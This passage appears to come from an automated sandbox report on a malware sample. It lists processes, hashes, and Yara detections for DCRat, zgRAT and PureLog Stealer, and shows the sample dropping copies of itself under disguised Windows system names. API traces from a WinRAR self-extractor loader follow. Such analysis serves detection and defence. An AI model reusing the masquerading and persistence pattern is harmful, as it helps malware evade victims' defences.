Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:42:59
Start date:	11/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ServerWinRuntimeBroker\wJc3A8cK4hSMmtCgCMOA49.bat" "
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:42:59
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:42:59
Start date:	11/01/2025
Path:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
Wow64 process (32bit):	false
Commandline:	"C:\ServerWinRuntimeBroker/chainPorthostCommon.exe"
Imagebase:	0x4b0000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000005.00000000.2286038382.00000000004B2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.2357344463.0000000012B88000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:43:03
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xiz5tqzr\xiz5tqzr.cmdline"
Imagebase:	0x7ff7bbe90000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF2D.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSC1E4D641D33A148FC98C6B9EA6A6669B1.TMP"
Imagebase:	0x7ff7f4b50000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\d135vvi0\d135vvi0.cmdline"
Imagebase:	0x7ff7bbe90000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:43:04
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC121.tmp" "c:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP"
Imagebase:	0x7ff7f4b50000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\HArqwkOZhw.bat"
Imagebase:	0x7ff774390000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff661e30000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:43:05
Start date:	11/01/2025
Path:	C:\Windows\System32\w32tm.exe
Wow64 process (32bit):	false
Commandline:	w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Imagebase:	0x7ff6e59b0000
File size:	108'032 bytes
MD5 hash:	81A82132737224D324A3E8DA993E2FB5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:43:11
Start date:	11/01/2025
Path:	C:\Windows\LiveKernelReports\RuntimeBroker.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\LiveKernelReports\RuntimeBroker.exe"
Imagebase:	0xf60000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.3435800974.0000000003CBC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.3435800974.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.3435800974.00000000039DF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	00:43:39
Start date:	11/01/2025
Path:	C:\Windows\DiagTrack\Scenarios\dasHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\DiagTrack\Scenarios\dasHost.exe"
Imagebase:	0x940000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:43:47
Start date:	11/01/2025
Path:	C:\Recovery\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\conhost.exe"
Imagebase:	0xb20000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\conhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\conhost.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	00:43:55
Start date:	11/01/2025
Path:	C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
Imagebase:	0x130000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:44:04
Start date:	11/01/2025
Path:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
Wow64 process (32bit):	false
Commandline:	"C:\ServerWinRuntimeBroker\chainPorthostCommon.exe"
Imagebase:	0xc30000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:44:28
Start date:	11/01/2025
Path:	C:\Windows\DiagTrack\Scenarios\dasHost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\DiagTrack\Scenarios\dasHost.exe"
Imagebase:	0x170000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:44:37
Start date:	11/01/2025
Path:	C:\Recovery\conhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Recovery\conhost.exe"
Imagebase:	0x660000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:44:45
Start date:	11/01/2025
Path:	C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe"
Imagebase:	0x210000
File size:	1'960'448 bytes
MD5 hash:	CF5B49706562BA2047CDA4A451DD573A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.9%
Total number of Nodes:	1085
Total number of Limit Nodes:	51

Executed Functions

Function 0064B7E0 Relevance: 88.2, APIs: 37, Strings: 13, Instructions: 731windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0064B7E5

Part of subcall function 00631316: GetDlgItem.USER32(00000000,00003021), ref: 0063135A
Part of subcall function 00631316: SetWindowTextW.USER32(00000000,006635F4), ref: 00631370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0064B8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0064B8EF
IsDialogMessageW.USER32(?,?), ref: 0064B902
TranslateMessage.USER32(?), ref: 0064B910
DispatchMessageW.USER32(?), ref: 0064B91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 0064B93D
EndDialog.USER32(?,00000001), ref: 0064B960
GetDlgItem.USER32(?,00000068), ref: 0064B983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0064B99E
SendMessageW.USER32(00000000,000000C2,00000000,006635F4), ref: 0064B9B1

Part of subcall function 0064D453: _wcschr.LIBVCRUNTIME ref: 0064D45C
Part of subcall function 0064D453: _wcslen.LIBCMT ref: 0064D47D

SetFocus.USER32(00000000), ref: 0064B9B8
_swprintf.LIBCMT ref: 0064BA24

Part of subcall function 00634092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 006340A5

Part of subcall function 0064D4D4: GetDlgItem.USER32(00000068,0068FCB8), ref: 0064D4E8
Part of subcall function 0064D4D4: ShowWindow.USER32(00000000,00000005,?,?,?,0064AF07,00000001,?,?,0064B7B9,0066506C,0068FCB8,0068FCB8,00001000,00000000,00000000), ref: 0064D510
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 0064D51B
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000C2,00000000,006635F4), ref: 0064D529
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0064D53F
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 0064D559
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0064D59D
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 0064D5AB
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 0064D5BA
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 0064D5E1
Part of subcall function 0064D4D4: SendMessageW.USER32(00000000,000000C2,00000000,006643F4), ref: 0064D5F0

_swprintf.LIBCMT ref: 0064BAC2
_swprintf.LIBCMT ref: 0064BB7C
ShellExecuteExW.SHELL32(0000003C), ref: 0064BC6F
_swprintf.LIBCMT ref: 0064BD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0064BD7D
SetDlgItemTextW.USER32(?,00000065,006635F4), ref: 0064BD94
GetDlgItem.USER32(?,00000065), ref: 0064BD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 0064BDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 0064BDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0064BE68
_wcslen.LIBCMT ref: 0064BEBE
_swprintf.LIBCMT ref: 0064BEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 0064BF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 0064BF4C
GetDlgItem.USER32(?,00000068), ref: 0064BF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 0064BF6B
GetDlgItem.USER32(?,00000066), ref: 0064BF85
SetWindowTextW.USER32(00000000,0067A472), ref: 0064BFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 0064C007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0064C01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 0064C0BD
EnableWindow.USER32(00000000,00000000), ref: 0064C197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 0064C1D9

Part of subcall function 0064C73F: __EH_prolog.LIBCMT ref: 0064C744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 0064C1FD

Strings

LICENSEDLG, xrefs: 0064C0B2
"%s"%s, xrefs: 0064BD0D
@, xrefs: 0064BB91
C:\Users\user\Desktop, xrefs: 0064BBC9
-el -s2 "-d%s" "-sp%s", xrefs: 0064BB6B
__tmp_rar_sfx_access_check_%u, xrefs: 0064BAB5
winrarsfxmappingfile.tmp, xrefs: 0064BBA6
hd, xrefs: 0064BCA5
runas, xrefs: 0064BBBC
<, xrefs: 0064BB84
STARTDLG, xrefs: 0064B801
%s, xrefs: 0064BED8
^d, xrefs: 0064C1E1

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$Dialog$H_prologLong_wcslen$DispatchEnableExecuteFocusParamShellShowTranslate__vswprintf_c_l_wcschr
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$^d$__tmp_rar_sfx_access_check_%u$hd$runas$winrarsfxmappingfile.tmp
API String ID: 1533452614-3391552232
Opcode ID: f2fc490754ed8c89fcc155256acbed226d2de369a1483853a9c6ede7f541071b
Instruction ID: c371fe0d0150c219d5b28f2149dd0e236019ec4b22c36f98edac1649acf2c118
Opcode Fuzzy Hash: f2fc490754ed8c89fcc155256acbed226d2de369a1483853a9c6ede7f541071b
Instruction Fuzzy Hash: E8421870944254BEEB619FB0DC4AFFE77AF9B02700F001159F544A62E2CBB59E84CB65

Function 0064DF1E Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 195
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0064AC16: OleInitialize.OLE32(00000000), ref: 0064AC2F
Part of subcall function 0064AC16: SHGetMalloc.SHELL32(00678438), ref: 0064AC70

_swprintf.LIBCMT ref: 0064E048
LoadIconW.USER32(00000000,00000064), ref: 0064E078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 0064E0C9
DeleteObject.GDI32 ref: 0064E130
DeleteObject.GDI32(?), ref: 0064E140

Part of subcall function 0064DBDE: SetEnvironmentVariableW.KERNELBASE(sfxpar,00000000), ref: 0064DC30

Strings

sfxname, xrefs: 0064DFF9
sfxstime, xrefs: 0064E055
STARTDLG, xrefs: 0064E0BE
C:\Users\user\Desktop, xrefs: 0064DF33
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0064E039
xzh, xrefs: 0064E10B
winrarsfxmappingfile.tmp, xrefs: 0064DF77

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: DeleteObject$DialogEnvironmentIconInitializeLoadMallocParamVariable_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xzh
API String ID: 730176925-652597700
Opcode ID: 0628efebc2b170d27effabed8daf915e9e13c056ce916fbfb526edccabf70e97
Instruction ID: c776596a0fc7858666e94364a6be4fd9d85d6bf55b4340f2847ccb0484de85d5
Opcode Fuzzy Hash: 0628efebc2b170d27effabed8daf915e9e13c056ce916fbfb526edccabf70e97
Instruction Fuzzy Hash: A9610F71944211BFD360AFB4EC4AE6B7BEFAB45700F00142EF949933A1DAB48948C761

Function 0063A69B Relevance: 3.1, APIs: 2, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,00000000,?,0063A592,000000FF,?,?), ref: 0063A6C4

Part of subcall function 0063BB03: _wcslen.LIBCMT ref: 0063BB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,0063A592,000000FF,?,?), ref: 0063A6F2

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: FileFindFirst$_wcslen
String ID:
API String ID: 1818217402-0
Opcode ID: b1a186b669cf6a7c2cc8fdc42cbf1052152693489eaea1d8b9e877970e36fbb9
Instruction ID: 9f20b4ba76b2fabe0bceef8b15419b4c51466497608a43eafd3d53b639577675
Opcode Fuzzy Hash: b1a186b669cf6a7c2cc8fdc42cbf1052152693489eaea1d8b9e877970e36fbb9
Instruction Fuzzy Hash: 3D419176900115ABCB25DFA4CCC4AE9B7BAFB49350F10419AF59EE3200D7346E94DF90

Function 04FF6859 Relevance: 3.0, APIs: 2, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,00000000), ref: 04FF686D
GetSystemInfo.KERNELBASE(?), ref: 04FF687F

Memory Dump Source

Source File: 00000000.00000002.2189140272.0000000004FF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ff0000_loader.jbxd

Similarity

API ID: InfoInformationProcessQuerySystem
String ID:
API String ID: 1993426926-0
Opcode ID: 9fe47f2950c11057c91d520df20ea6c509abfe2eb78b1b7c4841bad8b7fbf8e3
Instruction ID: 580937e649af39ad689b1c7a5ef248586fc28e1d79da6fe15f5d81b16cbfd03e
Opcode Fuzzy Hash: 9fe47f2950c11057c91d520df20ea6c509abfe2eb78b1b7c4841bad8b7fbf8e3
Instruction Fuzzy Hash: CCF0F876600219AFCB099F9ADC49EDE7BA8EB09790B018019FD16E7250C7319900CBA0

Function 0063848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00638493

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187328048.00000000006AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.00000000006C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000801000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000806000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187363389.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_loader.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: e086538854fcffef3314065d7d7e3043922c2252124d95c81032273873749af6
Instruction ID: 371930520d9655b5f565653635723f6254cbba7ae99211f1ed857b60bc6aa357
Opcode Fuzzy Hash: e086538854fcffef3314065d7d7e3043922c2252124d95c81032273873749af6
Instruction Fuzzy Hash: 9782C771904345AEDF15DF64C891BFABBBBAF15300F0841B9F8499B242DB715A89CBE0

Function 00657DEE Relevance: .0, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2187129898.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.2187098367.0000000000630000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000675000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187129898.00000000006A9000.00000040.00000001.01000000.00000003.sdmpDownload File
